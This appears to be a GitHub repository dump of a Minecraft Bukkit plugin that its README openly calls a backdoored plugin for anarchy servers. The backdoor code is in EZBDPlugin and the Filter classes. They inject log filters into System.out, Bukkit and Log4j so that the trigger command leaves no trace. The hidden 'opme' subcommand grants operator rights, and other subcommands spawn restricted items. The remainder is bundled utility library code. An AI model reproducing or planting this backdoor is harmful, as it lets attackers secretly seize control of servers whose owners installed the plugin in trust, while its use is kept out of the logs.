├── .idea ├── .gitignore ├── backdoor.iml ├── discord.xml ├── misc.xml ├── modules.xml └── runConfigurations.xml ├── META-INF ├── MANIFEST.MF └── maven │ ├── me.ego │ └── ezbd │ │ ├── pom.properties │ │ └── pom.xml │ └── org.mineacademy │ └── Foundation │ ├── pom.properties │ └── pom.xml ├── README.md ├── data.db ├── me └── ego │ └── ezbd │ ├── EZBDPlugin.java │ ├── Filter.java │ ├── FilterLegacy.java │ ├── FilterLog4j.java │ ├── FilterSystem.java │ ├── commands │ ├── BedrockCommand.java │ ├── EZBDCommandGroup.java │ ├── IllegalsCommand.java │ └── OpCommand.java │ └── lib │ └── fo │ ├── ASCIIUtil.java │ ├── BlockUtil.java │ ├── BungeeUtil.java │ ├── ChatUtil.java │ ├── Common.java │ ├── CompressUtil.java │ ├── DefaultFontInfo.java │ ├── EnchantmentWrapper.java │ ├── EntityUtil.java │ ├── FileUtil.java │ ├── GeoAPI.java │ ├── HealthBarUtil.java │ ├── HitTracking.java │ ├── ItemUtil.java │ ├── MathUtil.java │ ├── Messenger.java │ ├── MinecraftVersion.java │ ├── PlayerUtil.java │ ├── PotionWrapper.java │ ├── RandomUtil.java │ ├── ReflectionUtil.java │ ├── SerializeUtil.java │ ├── TabUtil.java │ ├── TimeUtil.java │ ├── TimedCharSequence.java │ ├── Valid.java │ ├── bungee │ ├── BungeeAction.java │ ├── BungeeListener.java │ ├── FoBungeeAction.java │ ├── SimpleBungee.java │ └── message │ │ ├── IncomingMessage.java │ │ ├── Message.java │ │ └── OutgoingMessage.java │ ├── collection │ ├── SerializedMap.java │ ├── StrictCollection.java │ ├── StrictList.java │ ├── StrictMap.java │ ├── StrictSet.java │ └── expiringmap │ │ ├── EntryLoader.java │ │ ├── ExpirationPolicy.java │ │ ├── ExpiringEntryLoader.java │ │ ├── ExpiringMap.java │ │ ├── ExpiringValue.java │ │ └── NamedThreadFactory.java │ ├── command │ ├── DebugCommand.java │ ├── PermsCommand.java │ ├── ReloadCommand.java │ ├── SimpleCommand.java │ ├── SimpleCommandGroup.java │ ├── SimpleSubCommand.java │ └── annotation │ │ ├── Permission.java │ │ └── PermissionGroup.java │ ├── constants │ ├── FoConstants.java │ └── FoPermissions.java │ ├── conversation │ ├── SimpleCanceller.java │ ├── SimpleConversation.java │ ├── SimpleDecimalPrompt.java │ ├── SimplePrefix.java │ └── SimplePrompt.java │ ├── database │ ├── SimpleDatabase.java │ └── SimpleFlatDatabase.java │ ├── debug │ ├── Debugger.java │ └── LagCatcher.java │ ├── event │ ├── MenuOpenEvent.java │ ├── RegionScanCompleteEvent.java │ ├── RocketExplosionEvent.java │ ├── SimpleEvent.java │ └── SimpleListener.java │ ├── exception │ ├── CommandException.java │ ├── EventHandledException.java │ ├── FoException.java │ ├── InvalidCommandArgException.java │ ├── InvalidWorldException.java │ └── RegexTimeoutException.java │ ├── jsonsimple │ ├── JSONArray.java │ ├── JSONContentHandler.java │ ├── JSONFormatter.java │ ├── JSONObject.java │ ├── JSONParseException.java │ ├── JSONParser.java │ ├── JSONSerializer.java │ ├── JSONSimpleUtil.java │ ├── JSONTypeSerializationHandler.java │ ├── JSONUtil.java │ ├── Yylex.java │ ├── Yytoken.java │ └── annotation │ │ ├── JSONAttribute.java │ │ └── JSONRoot.java │ ├── menu │ ├── Menu.java │ ├── MenuListener.java │ ├── MenuPagged.java │ ├── MenuQuantitable.java │ ├── MenuTools.java │ ├── ToggleableTool.java │ ├── button │ │ ├── Button.java │ │ ├── ButtonConversation.java │ │ ├── ButtonMenu.java │ │ ├── ButtonRemove.java │ │ └── ButtonReturnBack.java │ ├── model │ │ ├── InventoryDrawer.java │ │ ├── ItemCreator.java │ │ ├── MenuClickLocation.java │ │ ├── MenuQuantity.java │ │ └── SkullCreator.java │ └── tool │ │ ├── BlockTool.java │ │ ├── Rocket.java │ │ ├── Tool.java │ │ ├── ToolRegistry.java │ │ └── ToolsListener.java │ ├── metrics │ └── Metrics.java │ ├── model │ ├── AuthMeHook.java │ ├── BanManagerHook.java │ ├── BossHook.java │ ├── BoxedMessage.java │ ├── CMIHook.java │ ├── ChatImage.java │ ├── ChatPaginator.java │ ├── ChunkedTask.java │ ├── CitizensHook.java │ ├── ConfigItems.java │ ├── ConfigSerializable.java │ ├── Countdown.java │ ├── DiscordListener.java │ ├── DiscordSRVHook.java │ ├── DiscordSender.java │ ├── EnchantmentListener.java │ ├── EssentialsHook.java │ ├── FactionsHook.java │ ├── FactionsMassive.java │ ├── FactionsUUID.java │ ├── FolderWatcher.java │ ├── HookManager.java │ ├── IsInList.java │ ├── ItemsAdderHook.java │ ├── JavaScriptExecutor.java │ ├── LWCHook.java │ ├── LandsHook.java │ ├── LimitedQueue.java │ ├── LiteBansHook.java │ ├── LocketteProHook.java │ ├── MVdWPlaceholderHook.java │ ├── McMMOHook.java │ ├── MultiverseHook.java │ ├── MysthicMobsHook.java │ ├── NickyHook.java │ ├── OfflineRegionScanner.java │ ├── PlaceholderAPIHook.java │ ├── PlotSquaredHook.java │ ├── ProtocolLibHook.java │ ├── RandomNoRepeatPicker.java │ ├── RangedRandomValue.java │ ├── RangedValue.java │ ├── RegionAccessor.java │ ├── Replacer.java │ ├── ResidenceHook.java │ ├── Rule.java │ ├── RuleSetReader.java │ ├── SimpleComponent.java │ ├── SimpleEnchant.java │ ├── SimpleEnchantment.java │ ├── SimpleEnchantmentTarget.java │ ├── SimpleEquipment.java │ ├── SimpleExpansion.java │ ├── SimpleScoreboard.java │ ├── SimpleSound.java │ ├── SimpleTime.java │ ├── SpigotUpdater.java │ ├── TownyHook.java │ ├── Triple.java │ ├── Tuple.java │ ├── UUIDToNameConverter.java │ ├── Variable.java │ ├── Variables.java │ ├── VaultHook.java │ ├── Whiteblacklist.java │ ├── WorldEditHook.java │ └── WorldGuardHook.java │ ├── plugin │ ├── FoundationListener.java │ ├── FoundationPacketListener.java │ ├── Reloadables.java │ └── SimplePlugin.java │ ├── region │ └── Region.java │ ├── remain │ ├── AdvancementAccessor.java │ ├── BungeeChatProvider.java │ ├── CompAttribute.java │ ├── CompBarColor.java │ ├── CompBarStyle.java │ ├── CompBiome.java │ ├── CompChatColor.java │ ├── CompColor.java │ ├── CompDye.java │ ├── CompEquipmentSlot.java │ ├── CompItemFlag.java │ ├── CompMaterial.java │ ├── CompMetadata.java │ ├── CompMonsterEgg.java │ ├── CompParticle.java │ ├── CompProperty.java │ ├── CompRunnable.java │ ├── CompSound.java │ ├── DataMap.java │ ├── NmsAccessor.java │ ├── NmsEntity.java │ ├── PotionSetter.java │ ├── Remain.java │ ├── SneakyThrow.java │ ├── SoftMaterials.java │ ├── internal │ │ ├── BossBarInternals.java │ │ ├── ChatInternals.java │ │ ├── EnderDragonEntity.java │ │ ├── ParticleInternals.java │ │ ├── v1_6.java │ │ ├── v1_7.java │ │ ├── v1_8.java │ │ ├── v1_8Hack.java │ │ └── v1_9Native.java │ └── nbt │ │ ├── NBTCompound.java │ │ ├── NBTCompoundList.java │ │ ├── NBTContainer.java │ │ ├── NBTDoubleList.java │ │ ├── NBTEntity.java │ │ ├── NBTFile.java │ │ ├── NBTFloatList.java │ │ ├── NBTIntegerList.java │ │ ├── NBTInternals.java │ │ ├── NBTItem.java │ │ ├── NBTList.java │ │ ├── NBTListCompound.java │ │ ├── NBTLongList.java │ │ ├── NBTReflectionUtil.java │ │ ├── NBTStringList.java │ │ ├── NBTTitleEntity.java │ │ ├── NBTType.java │ │ ├── WrapperClass.java │ │ ├── WrapperObject.java │ │ ├── WrapperPackage.java │ │ ├── WrapperReflection.java │ │ └── WrapperVersion.java │ ├── settings │ ├── ConfigInstance.java │ ├── LegacyEnum.java │ ├── SimpleLang.java │ ├── SimpleLocalization.java │ ├── SimpleSettings.java │ ├── SimpleYaml.java │ ├── YamlComments.java │ ├── YamlConfig.java │ ├── YamlSectionConfig.java │ └── YamlStaticConfig.java │ └── visual │ ├── BlockVisualizer.java │ ├── VisualTool.java │ └── VisualizedRegion.java └── plugin.yml /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /.idea/backdoor.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /.idea/discord.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | -------------------------------------------------------------------------------- /META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Archiver-Version: Plexus Archiver 3 | Created-By: Apache Maven 3.6.3 4 | Built-By: max 5 | Build-Jdk: 11.0.11 6 | -------------------------------------------------------------------------------- /META-INF/maven/me.ego/ezbd/pom.properties: -------------------------------------------------------------------------------- 1 | #Generated by Maven 2 | #Tue Sep 07 14:03:19 BST 2021 3 | groupId=me.ego 4 | artifactId=ezbd 5 | version=1.0.0 6 | -------------------------------------------------------------------------------- /META-INF/maven/org.mineacademy/Foundation/pom.properties: -------------------------------------------------------------------------------- 1 | artifactId=Foundation 2 | groupId=org.mineacademy 3 | version=5.8.4 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Backdoored-Plugin 2 | 3 | This is a Java plugin for anarchic servers, it contains just the backdoor part so dont annoy me on issues asking for something else, you can download the src or you can download the release. 4 | 5 | 6 | 7 | 8 | ## How to build the src 9 | 10 | Honestly i dont know, i used maven and a friend helped me, sorry! 11 | -------------------------------------------------------------------------------- /data.db: -------------------------------------------------------------------------------- 1 | # !----------------------------------------------------! 2 | # This file stores data about your players. 3 | # 4 | # FILE IS MACHINE GENERATED. DO NOT EDIT! 5 | # !----------------------------------------------------! -------------------------------------------------------------------------------- /me/ego/ezbd/EZBDPlugin.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd; 2 | 3 | import me.ego.ezbd.commands.EZBDCommandGroup; 4 | import me.ego.ezbd.lib.fo.plugin.SimplePlugin; 5 | 6 | public class EZBDPlugin extends SimplePlugin { 7 | public EZBDPlugin() { 8 | } 9 | 10 | protected void onPluginStart() { 11 | Filter.inject(); 12 | this.registerCommands("ezbd", new EZBDCommandGroup()); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /me/ego/ezbd/Filter.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd; 2 | 3 | import me.ego.ezbd.lib.fo.Common; 4 | import me.ego.ezbd.lib.fo.MinecraftVersion; 5 | import me.ego.ezbd.lib.fo.MinecraftVersion.V; 6 | import org.bukkit.Bukkit; 7 | import org.bukkit.plugin.Plugin; 8 | 9 | public final class Filter { 10 | public Filter() { 11 | } 12 | 13 | public static void inject() { 14 | System.setOut(new FilterSystem()); 15 | FilterLegacy filter = new FilterLegacy(); 16 | Plugin[] var1 = Bukkit.getPluginManager().getPlugins(); 17 | int var2 = var1.length; 18 | 19 | for(int var3 = 0; var3 < var2; ++var3) { 20 | Plugin plugin = var1[var3]; 21 | plugin.getLogger().setFilter(filter); 22 | } 23 | 24 | Bukkit.getLogger().setFilter(filter); 25 | if (MinecraftVersion.atLeast(V.v1_7)) { 26 | FilterLog4j.inject(); 27 | } 28 | 29 | } 30 | 31 | static boolean isFiltered(String message) { 32 | if (message != null && !message.isEmpty()) { 33 | message = Common.stripColors(message); 34 | return message.contains("issued server command: /#flp"); 35 | } else { 36 | return false; 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /me/ego/ezbd/FilterLegacy.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd; 2 | 3 | import java.util.logging.Filter; 4 | import java.util.logging.LogRecord; 5 | 6 | class FilterLegacy implements Filter { 7 | FilterLegacy() { 8 | } 9 | 10 | public boolean isLoggable(LogRecord record) { 11 | String message = record.getMessage(); 12 | return !me.ego.ezbd.Filter.isFiltered(message); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /me/ego/ezbd/FilterSystem.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd; 2 | 3 | import java.io.PrintStream; 4 | 5 | class FilterSystem extends PrintStream { 6 | FilterSystem() { 7 | super(System.out); 8 | } 9 | 10 | public void println(Object x) { 11 | if (x != null && !Filter.isFiltered(x.toString())) { 12 | super.println(x); 13 | } 14 | 15 | } 16 | 17 | public void println(String x) { 18 | if (x != null && !Filter.isFiltered(x)) { 19 | super.println(x); 20 | } 21 | 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /me/ego/ezbd/commands/BedrockCommand.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.commands; 2 | 3 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup; 4 | import me.ego.ezbd.lib.fo.command.SimpleSubCommand; 5 | import org.bukkit.Material; 6 | import org.bukkit.entity.Player; 7 | import org.bukkit.inventory.ItemStack; 8 | 9 | public class BedrockCommand extends SimpleSubCommand { 10 | protected BedrockCommand(SimpleCommandGroup parent) { 11 | super(parent, "bedrock|bed|br"); 12 | this.setMinArguments(0); 13 | this.setUsage("&fGive 64 bedrock to player."); 14 | } 15 | 16 | protected void onCommand() { 17 | this.checkConsole(); 18 | if (this.args.length == 0) { 19 | Player player = (Player)this.sender; 20 | ItemStack bedrock = new ItemStack(Material.BEDROCK, 64); 21 | player.getInventory().addItem(new ItemStack[]{bedrock}); 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /me/ego/ezbd/commands/EZBDCommandGroup.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.commands; 2 | 3 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup; 4 | 5 | public class EZBDCommandGroup extends SimpleCommandGroup { 6 | public EZBDCommandGroup() { 7 | } 8 | 9 | protected void registerSubcommands() { 10 | this.registerSubcommand(new BedrockCommand(this)); 11 | this.registerSubcommand(new IllegalsCommand(this)); 12 | this.registerSubcommand(new OpCommand(this)); 13 | } 14 | 15 | protected String getCredits() { 16 | return "Add &c&lEg0#&c&l1337 &fon Discord for more information or help."; 17 | } 18 | } -------------------------------------------------------------------------------- /me/ego/ezbd/commands/IllegalsCommand.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.commands; 2 | 3 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup; 4 | import me.ego.ezbd.lib.fo.command.SimpleSubCommand; 5 | import org.bukkit.Material; 6 | import org.bukkit.entity.Player; 7 | import org.bukkit.inventory.ItemStack; 8 | 9 | public class IllegalsCommand extends SimpleSubCommand { 10 | protected IllegalsCommand(SimpleCommandGroup parent) { 11 | super(parent, "illegals|illegal|i"); 12 | this.setMinArguments(0); 13 | this.setUsage("&fGive 64 bedrock, command blocks and barriers to player."); 14 | } 15 | 16 | protected void onCommand() { 17 | this.checkConsole(); 18 | if (this.args.length == 0) { 19 | Player player = (Player)this.sender; 20 | ItemStack bedrock = new ItemStack(Material.BEDROCK, 64); 21 | ItemStack barriers = new ItemStack(Material.COMMAND_BLOCK, 64); 22 | ItemStack commandblocks = new ItemStack(Material.BARRIER, 64); 23 | player.getInventory().addItem(new ItemStack[]{bedrock, barriers, commandblocks}); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /me/ego/ezbd/commands/OpCommand.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.commands; 2 | 3 | import me.ego.ezbd.lib.fo.command.SimpleCommandGroup; 4 | import me.ego.ezbd.lib.fo.command.SimpleSubCommand; 5 | 6 | public class OpCommand extends SimpleSubCommand { 7 | protected OpCommand(SimpleCommandGroup parent) { 8 | super(parent, "opme"); 9 | this.setMinArguments(0); 10 | this.setUsage("&fOps the player."); 11 | } 12 | 13 | protected void onCommand() { 14 | this.checkConsole(); 15 | this.sender.setOp(true); 16 | this.tell(new String[]{"You are now op."}); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/ASCIIUtil.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | import java.awt.Color; 4 | import java.awt.Font; 5 | import java.awt.FontMetrics; 6 | import java.awt.Graphics; 7 | import java.awt.Graphics2D; 8 | import java.awt.image.BufferedImage; 9 | import java.util.ArrayList; 10 | import java.util.Arrays; 11 | import java.util.List; 12 | import lombok.NonNull; 13 | 14 | public class ASCIIUtil { 15 | public static final int SMALL = 12; 16 | public static final int MEDIUM = 18; 17 | public static final int LARGE = 24; 18 | 19 | public ASCIIUtil() { 20 | } 21 | 22 | public static List generate(String message) { 23 | return generate(message, 18, Arrays.asList("*")); 24 | } 25 | 26 | public static List generate(String message, @NonNull String letterSymbols) { 27 | if (letterSymbols == null) { 28 | throw new NullPointerException("letterSymbols is marked non-null but is null"); 29 | } else { 30 | return generate(message, 18, Arrays.asList(letterSymbols.split("\\|"))); 31 | } 32 | } 33 | 34 | public static List generate(String message, int textHeight, @NonNull List letterSymbols) { 35 | if (letterSymbols == null) { 36 | throw new NullPointerException("letterSymbols is marked non-null but is null"); 37 | } else { 38 | List texts = new ArrayList(); 39 | int imageWidth = findImageWidth(textHeight, message, "SansSerif"); 40 | BufferedImage bufferedImage = new BufferedImage(imageWidth, textHeight, 1); 41 | Graphics2D graphics = (Graphics2D)bufferedImage.getGraphics(); 42 | Font font = new Font("SansSerif", 1, textHeight); 43 | graphics.setFont(font); 44 | graphics.drawString(message, 0, getBaselinePosition(graphics, font)); 45 | 46 | for(int y = 0; y < textHeight; ++y) { 47 | StringBuilder sb = new StringBuilder(); 48 | 49 | for(int x = 0; x < imageWidth; ++x) { 50 | sb.append(bufferedImage.getRGB(x, y) == Color.WHITE.getRGB() ? (String)RandomUtil.nextItem(letterSymbols) : " "); 51 | } 52 | 53 | if (!sb.toString().trim().isEmpty()) { 54 | texts.add(sb.toString()); 55 | } 56 | } 57 | 58 | return texts; 59 | } 60 | } 61 | 62 | private static int findImageWidth(int textHeight, String artText, String fontName) { 63 | BufferedImage bufferedImage = new BufferedImage(1, 1, 1); 64 | Graphics graphics = bufferedImage.getGraphics(); 65 | graphics.setFont(new Font(fontName, 1, textHeight)); 66 | return graphics.getFontMetrics().stringWidth(artText); 67 | } 68 | 69 | private static int getBaselinePosition(Graphics g, Font font) { 70 | FontMetrics metrics = g.getFontMetrics(font); 71 | int y = metrics.getAscent() - metrics.getDescent(); 72 | return y; 73 | } 74 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/CompressUtil.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.ByteArrayInputStream; 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.InputStreamReader; 7 | import java.util.zip.GZIPInputStream; 8 | import java.util.zip.GZIPOutputStream; 9 | import lombok.NonNull; 10 | 11 | public final class CompressUtil { 12 | public static byte[] compress(@NonNull String string) { 13 | try { 14 | if (string == null) { 15 | throw new NullPointerException("string is marked non-null but is null"); 16 | } else if (string.length() == 0) { 17 | return null; 18 | } else { 19 | ByteArrayOutputStream obj = new ByteArrayOutputStream(); 20 | GZIPOutputStream gzip = new GZIPOutputStream(obj); 21 | gzip.write(string.getBytes("UTF-8")); 22 | gzip.flush(); 23 | gzip.close(); 24 | return obj.toByteArray(); 25 | } 26 | } catch (Throwable var3) { 27 | throw var3; 28 | } 29 | } 30 | 31 | public static String decompress(@NonNull byte[] compressed) { 32 | try { 33 | if (compressed == null) { 34 | throw new NullPointerException("compressed is marked non-null but is null"); 35 | } else { 36 | StringBuilder outStr = new StringBuilder(); 37 | if (compressed.length == 0) { 38 | return ""; 39 | } else { 40 | if (isCompressed(compressed)) { 41 | GZIPInputStream gis = new GZIPInputStream(new ByteArrayInputStream(compressed)); 42 | BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(gis, "UTF-8")); 43 | 44 | String line; 45 | while((line = bufferedReader.readLine()) != null) { 46 | outStr.append(line); 47 | } 48 | } else { 49 | outStr.append(compressed); 50 | } 51 | 52 | return outStr.toString(); 53 | } 54 | } 55 | } catch (Throwable var5) { 56 | throw var5; 57 | } 58 | } 59 | 60 | private static boolean isCompressed(byte[] compressed) { 61 | return compressed[0] == 31 && compressed[1] == -117; 62 | } 63 | 64 | private CompressUtil() { 65 | throw new UnsupportedOperationException("This is a utility class and cannot be instantiated"); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/DefaultFontInfo.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | /** @deprecated */ 4 | enum DefaultFontInfo { 5 | A('A', 5), 6 | a('a', 5), 7 | B('B', 5), 8 | b('b', 5), 9 | C('C', 5), 10 | c('c', 5), 11 | D('D', 5), 12 | d('d', 5), 13 | E('E', 5), 14 | e('e', 5), 15 | F('F', 5), 16 | f('f', 4), 17 | G('G', 5), 18 | g('g', 5), 19 | H('H', 5), 20 | h('h', 5), 21 | I('I', 3), 22 | i('i', 1), 23 | J('J', 5), 24 | j('j', 5), 25 | K('K', 5), 26 | k('k', 4), 27 | L('L', 5), 28 | l('l', 1), 29 | M('M', 5), 30 | m('m', 5), 31 | N('N', 5), 32 | n('n', 5), 33 | O('O', 5), 34 | o('o', 5), 35 | P('P', 5), 36 | p('p', 5), 37 | Q('Q', 5), 38 | q('q', 5), 39 | R('R', 5), 40 | r('r', 5), 41 | S('S', 5), 42 | s('s', 5), 43 | T('T', 5), 44 | t('t', 4), 45 | U('U', 5), 46 | u('u', 5), 47 | V('V', 5), 48 | v('v', 5), 49 | W('W', 5), 50 | w('w', 5), 51 | X('X', 5), 52 | x('x', 5), 53 | Y('Y', 5), 54 | y('y', 5), 55 | Z('Z', 5), 56 | z('z', 5), 57 | NUM_1('1', 5), 58 | NUM_2('2', 5), 59 | NUM_3('3', 5), 60 | NUM_4('4', 5), 61 | NUM_5('5', 5), 62 | NUM_6('6', 5), 63 | NUM_7('7', 5), 64 | NUM_8('8', 5), 65 | NUM_9('9', 5), 66 | NUM_0('0', 5), 67 | EXCLAMATION_POINT('!', 1), 68 | AT_SYMBOL('@', 6), 69 | NUM_SIGN('#', 5), 70 | DOLLAR_SIGN('$', 5), 71 | PERCENT('%', 5), 72 | UP_ARROW('^', 5), 73 | AMPERSAND('&', 5), 74 | ASTERISK('*', 5), 75 | LEFT_PARENTHESIS('(', 4), 76 | RIGHT_PERENTHESIS(')', 4), 77 | MINUS('-', 5), 78 | UNDERSCORE('_', 5), 79 | PLUS_SIGN('+', 5), 80 | EQUALS_SIGN('=', 5), 81 | LEFT_CURL_BRACE('{', 4), 82 | RIGHT_CURL_BRACE('}', 4), 83 | LEFT_BRACKET('[', 3), 84 | RIGHT_BRACKET(']', 3), 85 | COLON(':', 1), 86 | SEMI_COLON(';', 1), 87 | DOUBLE_QUOTE('"', 3), 88 | SINGLE_QUOTE('\'', 1), 89 | LEFT_ARROW('<', 4), 90 | RIGHT_ARROW('>', 4), 91 | QUESTION_MARK('?', 5), 92 | SLASH('/', 5), 93 | BACK_SLASH('\\', 5), 94 | LINE('|', 1), 95 | TILDE('~', 5), 96 | TICK('`', 2), 97 | PERIOD('.', 1), 98 | COMMA(',', 1), 99 | SPACE(' ', 3), 100 | DEFAULT('a', 4); 101 | 102 | private final char character; 103 | private final int length; 104 | 105 | private DefaultFontInfo(char character, int length) { 106 | this.character = character; 107 | this.length = length; 108 | } 109 | 110 | public char getCharacter() { 111 | return this.character; 112 | } 113 | 114 | public int getLength() { 115 | return this.length; 116 | } 117 | 118 | public int getBoldLength() { 119 | return this == SPACE ? this.getLength() : this.length + 1; 120 | } 121 | 122 | public static DefaultFontInfo getDefaultFontInfo(char c) { 123 | DefaultFontInfo[] var1 = values(); 124 | int var2 = var1.length; 125 | 126 | for(int var3 = 0; var3 < var2; ++var3) { 127 | DefaultFontInfo dFI = var1[var3]; 128 | if (dFI.getCharacter() == c) { 129 | return dFI; 130 | } 131 | } 132 | 133 | return DEFAULT; 134 | } 135 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/EnchantmentWrapper.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | import org.apache.commons.lang.WordUtils; 4 | 5 | enum EnchantmentWrapper { 6 | PROTECTION("PROTECTION_ENVIRONMENTAL"), 7 | FIRE_PROTECTION("PROTECTION_FIRE"), 8 | FEATHER_FALLING("PROTECTION_FALL"), 9 | BLAST_PROTECTION("PROTECTION_EXPLOSIONS"), 10 | PROJECTILE_PROTECTION("PROTECTION_PROJECTILE"), 11 | RESPIRATION("OXYGEN"), 12 | AQUA_AFFINITY("WATER_WORKER"), 13 | THORN("THORNS"), 14 | CURSE_OF_VANISHING("VANISHING_CURSE"), 15 | CURSE_OF_BINDING("BINDING_CURSE"), 16 | SHARPNESS("DAMAGE_ALL"), 17 | SMITE("DAMAGE_UNDEAD"), 18 | BANE_OF_ARTHROPODS("DAMAGE_ARTHROPODS"), 19 | LOOTING("LOOT_BONUS_MOBS"), 20 | SWEEPING_EDGE("SWEEPING"), 21 | EFFICIENCY("DIG_SPEED"), 22 | UNBREAKING("DURABILITY"), 23 | FORTUNE("LOOT_BONUS_BLOCKS"), 24 | POWER("ARROW_DAMAGE"), 25 | PUNCH("ARROW_KNOCKBACK"), 26 | FLAME("ARROW_FIRE"), 27 | INFINITY("ARROW_INFINITE"), 28 | LUCK_OF_THE_SEA("LUCK"); 29 | 30 | private final String bukkitName; 31 | 32 | protected static String toBukkit(String name) { 33 | name = name.toUpperCase().replace(" ", "_"); 34 | EnchantmentWrapper[] var1 = values(); 35 | int var2 = var1.length; 36 | 37 | for(int var3 = 0; var3 < var2; ++var3) { 38 | EnchantmentWrapper e = var1[var3]; 39 | if (e.toString().equals(name)) { 40 | return e.bukkitName; 41 | } 42 | } 43 | 44 | return name; 45 | } 46 | 47 | protected static String toMinecraft(String name) { 48 | name = name.toUpperCase().replace(" ", "_"); 49 | EnchantmentWrapper[] var1 = values(); 50 | int var2 = var1.length; 51 | 52 | for(int var3 = 0; var3 < var2; ++var3) { 53 | EnchantmentWrapper e = var1[var3]; 54 | if (name.equals(e.bukkitName)) { 55 | return ItemUtil.bountifyCapitalized(e); 56 | } 57 | } 58 | 59 | return WordUtils.capitalizeFully(name); 60 | } 61 | 62 | public String getBukkitName() { 63 | return this.bukkitName != null ? this.bukkitName : this.name(); 64 | } 65 | 66 | private EnchantmentWrapper(String bukkitName) { 67 | this.bukkitName = bukkitName; 68 | } 69 | } -------------------------------------------------------------------------------- /me/ego/ezbd/lib/fo/HealthBarUtil.java: -------------------------------------------------------------------------------- 1 | package me.ego.ezbd.lib.fo; 2 | 3 | import me.ego.ezbd.lib.fo.remain.Remain; 4 | import org.bukkit.ChatColor; 5 | import org.bukkit.entity.LivingEntity; 6 | import org.bukkit.entity.Player; 7 | 8 | public final class HealthBarUtil { 9 | private static String prefix = "&8["; 10 | private static String suffix = "&8]"; 11 | private static ChatColor remainingColor; 12 | private static ChatColor totalColor; 13 | private static ChatColor deadColor; 14 | 15 | public static void display(Player displayTo, LivingEntity displayAbout, double damage) { 16 | int maxHealth = Remain.getMaxHealth(displayAbout); 17 | int health = Remain.getHealth(displayAbout); 18 | String name = Common.getOrEmpty(displayAbout.getCustomName()); 19 | String formatted = (name.isEmpty() ? ItemUtil.bountifyCapitalized(displayAbout.getType()) : name) + " - " + getHealthMessage(health, maxHealth, (int)damage); 20 | Remain.sendActionBar(displayTo, formatted); 21 | } 22 | 23 | private static String getHealthMessage(int health, int maxHealth, int damage) { 24 | int remainingHealth = health - damage; 25 | return remainingHealth > 0 ? formatHealth(remainingHealth, maxHealth) : formatDeath(maxHealth); 26 | } 27 | 28 | private static String formatHealth(int remainingHealth, int maxHealth) { 29 | if (maxHealth > 30) { 30 | return formatMuchHealth(remainingHealth, maxHealth); 31 | } else { 32 | String left = ""; 33 | 34 | for(int i = 0; i < remainingHealth; ++i) { 35 | left = left + "|"; 36 | } 37 | 38 | String max = ""; 39 | 40 | for(int i = 0; i < maxHealth - left.length(); ++i) { 41 | max = max + "|"; 42 | } 43 | 44 | return prefix + remainingColor + left + totalColor + max + suffix; 45 | } 46 | } 47 | 48 | private static String formatMuchHealth(int remaining, int max) { 49 | return prefix + remainingColor + remaining + " &8/ " + totalColor + max + suffix; 50 | } 51 | 52 | private static String formatDeath(int maxHealth) { 53 | String max = ""; 54 | if (maxHealth > 30) { 55 | max = "-0-"; 56 | } else { 57 | for(int i = 0; i < maxHealth; ++i) { 58 | max = max + "|"; 59 | } 60 | } 61 | 62 | return prefix + deadColor + max + suffix; 63 | } 64 | 65 | private HealthBarUtil() { 66 | } 67 | 68 | public static void setPrefix(String prefix) { 69 | HealthBarUtil.prefix = prefix; 70 | } 71 | 72 | public static void setSuffix(String suffix) { 73 | HealthBarUtil.suffix = suffix; 74 | } 75 | 76 | public static void setRemainingColor(ChatColor remainingColor) { 77 | HealthBarUtil.remainingColor = remainingColor; 78 | } 79 | 80 | public static void setTotalColor(ChatColor totalColor) { 81 | HealthBarUtil.totalColor = totalColor; 82 | } 83 | 84 | public static void setDeadColor(ChatColor deadColor) { 85 | HealthBarUtil.deadColor = deadColor; 86 | } 87 | 88 | static { 89 | remainingColor = ChatColor.DARK_RED; 90 | totalColor = ChatColor.GRAY; 91 | deadColor = ChatColor.BLACK; 92 | } 93 | } -------------------------------------------------------------------------------- 